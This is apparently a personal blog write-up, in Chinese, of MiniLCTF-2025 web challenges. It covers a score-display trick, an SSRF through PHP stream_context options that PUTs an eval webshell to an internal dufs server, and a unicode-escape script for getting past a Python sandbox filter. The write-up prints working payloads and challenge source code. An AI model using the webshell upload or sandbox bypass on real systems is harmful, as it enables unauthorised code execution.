MiniLCTF-2025 web

OneZ3r0 Lv3

前言

题目质量非常不错,复现pybox

GuessOneGuess

ds梭了,一开始我还不相信,bp貌似没法把ws包放到intruder,我也不会写脚本交互,也不知道怎么用前端发socker,最后是手搓的T T

e9d7ffb93239c9bba3c6edb172782ffd
e9d7ffb93239c9bba3c6edb172782ffd

很烦的一点是它每错一次,就得重新设置一次,所以得卡着先错99次,在100次之前执行

document.getElementById('score-display').textContent = '-1e309';

第100次错完之后它会扣除,这时候分数没有显示,就是空白的,然后再正常玩一次,猜对就出了

Miniup

view 任意文件读取base64,读index.php
proc/self/environ不可读,proc/1/cmdline看进程有个/var/html/www/dufs 是个elf文件
大概测试了一下,(当前工作目录就是/var/www/html/ 上传的图片也在这个目录下/var/www/html/1.png可行)

源码的逻辑分为三个部分upload,search,view,对应三个功能的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
<?php
$dufs_host = '127.0.0.1';
$dufs_port = '5000';

// upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') {
if (isset($_FILES['file'])) {
$file = $_FILES['file'];

$filename = $file['name'];

$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];

$file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

if (!in_array($file_extension, $allowed_extensions)) {
echo json_encode(['success' => false, 'message' => '只允许上传图片文件']);
exit;
}

$target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);

$file_content = file_get_contents($file['tmp_name']);

$ch = curl_init($target_url);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Origin: http://' . $dufs_host . ':' . $dufs_port,
'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
'Accept-Encoding: gzip, deflate',
'Accept: */*',
'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
'Content-Length: ' . strlen($file_content)
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

if ($http_code >= 200 && $http_code < 300) {
echo json_encode(['success' => true, 'message' => '图片上传成功']);
} else {
echo json_encode(['success' => false, 'message' => '图片上传失败,请稍后再试']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '未选择图片']);
exit;
}
}

// search
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'search') {
if (isset($_POST['query']) && !empty($_POST['query'])) {
$search_query = $_POST['query'];

if (!ctype_alnum($search_query)) {
echo json_encode(['success' => false, 'message' => '只允许输入数字和字母']);
exit;
}

$search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode($search_query) . '&json';

$ch = curl_init($search_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Accept: */*',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code >= 200 && $http_code < 300) {
$response_data = json_decode($response, true);
if (isset($response_data['paths']) && is_array($response_data['paths'])) {
$image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];

$filtered_paths = [];
foreach ($response_data['paths'] as $item) {
$file_name = $item['name'];
$extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));

if (in_array($extension, $image_extensions) || ($item['path_type'] === 'Directory')) {
$filtered_paths[] = $item;
}
}

$response_data['paths'] = $filtered_paths;

echo json_encode(['success' => true, 'result' => json_encode($response_data)]);
} else {
echo json_encode(['success' => true, 'result' => $response]);
}
} else {
echo json_encode(['success' => false, 'message' => '搜索失败,请稍后再试']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入搜索关键词']);
exit;
}
}


// view
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') {
if (isset($_POST['filename']) && !empty($_POST['filename'])) {
$filename = $_POST['filename'];

$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));

if ($file_content !== false) {
$base64_image = base64_encode($file_content);
$mime_type = 'image/jpeg';

echo json_encode([
'success' => true,
'is_image' => true,
'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image
]);
} else {
echo json_encode(['success' => false, 'message' => '无法获取图片']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入图片路径']);
exit;
}
}
?>

这洞真难找啊。。。
一开始任意文件读取,lbz学长说有可能是cnext php rce,测试一下,发现不是

f0240b6de327f9993212c9346f1f3bab
f0240b6de327f9993212c9346f1f3bab

后面一直在疯狂摸索,查dufs的文档,本地起一个dufs服务,查apache的log……倒是收获了一堆和解题无关的东西
发现可以内网读文件 http://127.0.0.1:5000/__dufs_v0.43.0__/index.js 让我再好好看看逻辑,这个是dufs的实现,和题目无关
127.0.0.1:5000读出来应该是就是dufs部署服务的管理界面,也没用
看了两天都快坚持不下去了,直到睡觉的想到会不会是curl gopher打ssrf那一套?想着在view处的file_get_contents用gopher完成文件上传,进而绕过后端upload的检测

真是神了(睡觉灵感来的太快了),第二天仔细看看还真就是这个点,不过摸索了2个小时,发现gopher一直不行。。。当时也问了下出题人,思路是对的,听出题人的意思大概率就不是gopher了。因为file_get_contents()是没办法发出gopher请求的,curl才可以

1
$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));

最后目光就只落在了这个显眼的$_POST['options']

https://gist.github.com/vyspiansky/82f4b1ef6fcff160047d 看起来就得用options!
https://www.php.net/manual/zh/function.stream-context-create.php 然后读文档构造

用options改method为put,向内网传马,自己起个phpstudy测试一下payload,配合公网看一下构造的对不对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
/*
<?php
$context_options = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
. "Content-Length: " . strlen($data) . "\r\n",
'content' => $data
)
);
?>
*/
// options[http][method]=GET&options[http][header]=onez3r0

$context = stream_context_create($_POST['options']);
var_dump($context);

/* 包含上面的 header 头,向 www.example.com
发送 HTTP 请求 */
$fp = fopen('http://requestbin.cn:80/15stvc21', 'r', false, $context);
fpassthru($fp);
fclose($fp);
?>
48a9bd55037c122b8a8b61686d8eece7
48a9bd55037c122b8a8b61686d8eece7
00d2c5db482a3320bf73e4cf2469e9c6
00d2c5db482a3320bf73e4cf2469e9c6

本地测完就发远程

image-20250502161448484
image-20250502161448484
1
POST action=view&filename=http://127.0.0.1:5000/onez3r0.php&options[http][method]=PUT&options[http][header]=Content-type:%20text/plain%0d%0aContent-Length:%2037&options[http][content]=<?php%20phpinfo();@eval($_POST[10]);%20?>

拿到flag!

382e9a4ab1634d60f4b695008c1cf328
382e9a4ab1634d60f4b695008c1cf328

Click and Click

PyBox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from flask import Flask, request, Response
import multiprocessing
import sys
import io
import ast

app = Flask(__name__)

class SandboxVisitor(ast.NodeVisitor):
forbidden_attrs = {
"__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
"__globals__", "__code__", "__closure__", "__func__", "__self__",
"__module__", "__import__", "__builtins__", "__base__"
}
def visit_Attribute(self, node):
if isinstance(node.attr, str) and node.attr in self.forbidden_attrs:
raise ValueError
self.generic_visit(node)
def visit_GeneratorExp(self, node):
raise ValueError
def sandbox_executor(code, result_queue):
safe_builtins = {
"print": print,
"filter": filter,
"list": list,
"len": len,
"addaudithook": sys.addaudithook,
"Exception": Exception
}
safe_globals = {"__builtins__": safe_builtins}

sys.stdout = io.StringIO()
sys.stderr = io.StringIO()

try:
exec(code, safe_globals)
output = sys.stdout.getvalue()
error = sys.stderr.getvalue()
result_queue.put(("ok", output or error))
except Exception as e:
result_queue.put(("err", str(e)))

def safe_exec(code: str, timeout=1):
code = code.encode().decode('unicode_escape')
tree = ast.parse(code)
SandboxVisitor().visit(tree)
result_queue = multiprocessing.Queue()
p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue))
p.start()
p.join(timeout=timeout)

if p.is_alive():
p.terminate()
return "Timeout: code took too long to run."

try:
status, output = result_queue.get_nowait()
return output if status == "ok" else f"Error: {output}"
except:
return "Error: no output from sandbox."

CODE = """
def my_audit_checker(event,args):
allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
if not list(filter(lambda x: event == x, allowed_events)):
raise Exception
if len(args) > 0:
raise Exception

addaudithook(my_audit_checker)
print("{}")

"""
badchars = "\"'|&`+-*/()[]{}_."

@app.route('/')
def index():
return open(__file__, 'r').read()

@app.route('/execute',methods=['POST'])
def execute():
text = request.form['text']
for char in badchars:
if char in text:
return Response("Error", status=400)
output=safe_exec(CODE.format(text))
if len(output)>5:
return Response("Error", status=400)
return Response(output, status=200)


if __name__ == '__main__':
app.run(host='0.0.0.0')

hint:
1.可以本地多调试,也可以当没回显来打,但是不出网
2.可能跟Exception有关?

首先unicode绕badchars

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def get_unicode_escape(char):
code_point = ord(char)
if code_point <= 0xFFFF:
return f'%5Cu{code_point:04x}'
else:
return f'%5CU{code_point:08x}'

# print(get_unicode_escape('"'))
badchars = "\"'|&`+-*/()[]{}_."
# exp = 'print("2")'
exp = '''globals()['__builtins__'].len=lambda x: 1'''

payload = f'1")\\n{exp}#'

for c in badchars:
if c in payload:
# print(c)
payload = payload.replace(c, get_unicode_escape(c))

print(payload)

后面应该是打栈帧逃逸,不过当时不是很会调试

  • 标题: MiniLCTF-2025 web
  • 作者: OneZ3r0
  • 创建于 : 2025-05-02 15:39:44
  • 更新于 : 2025-07-29 18:03:58
  • 链接: https://blog.onez3r0.top/2025/05/02/minilctf-2025/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。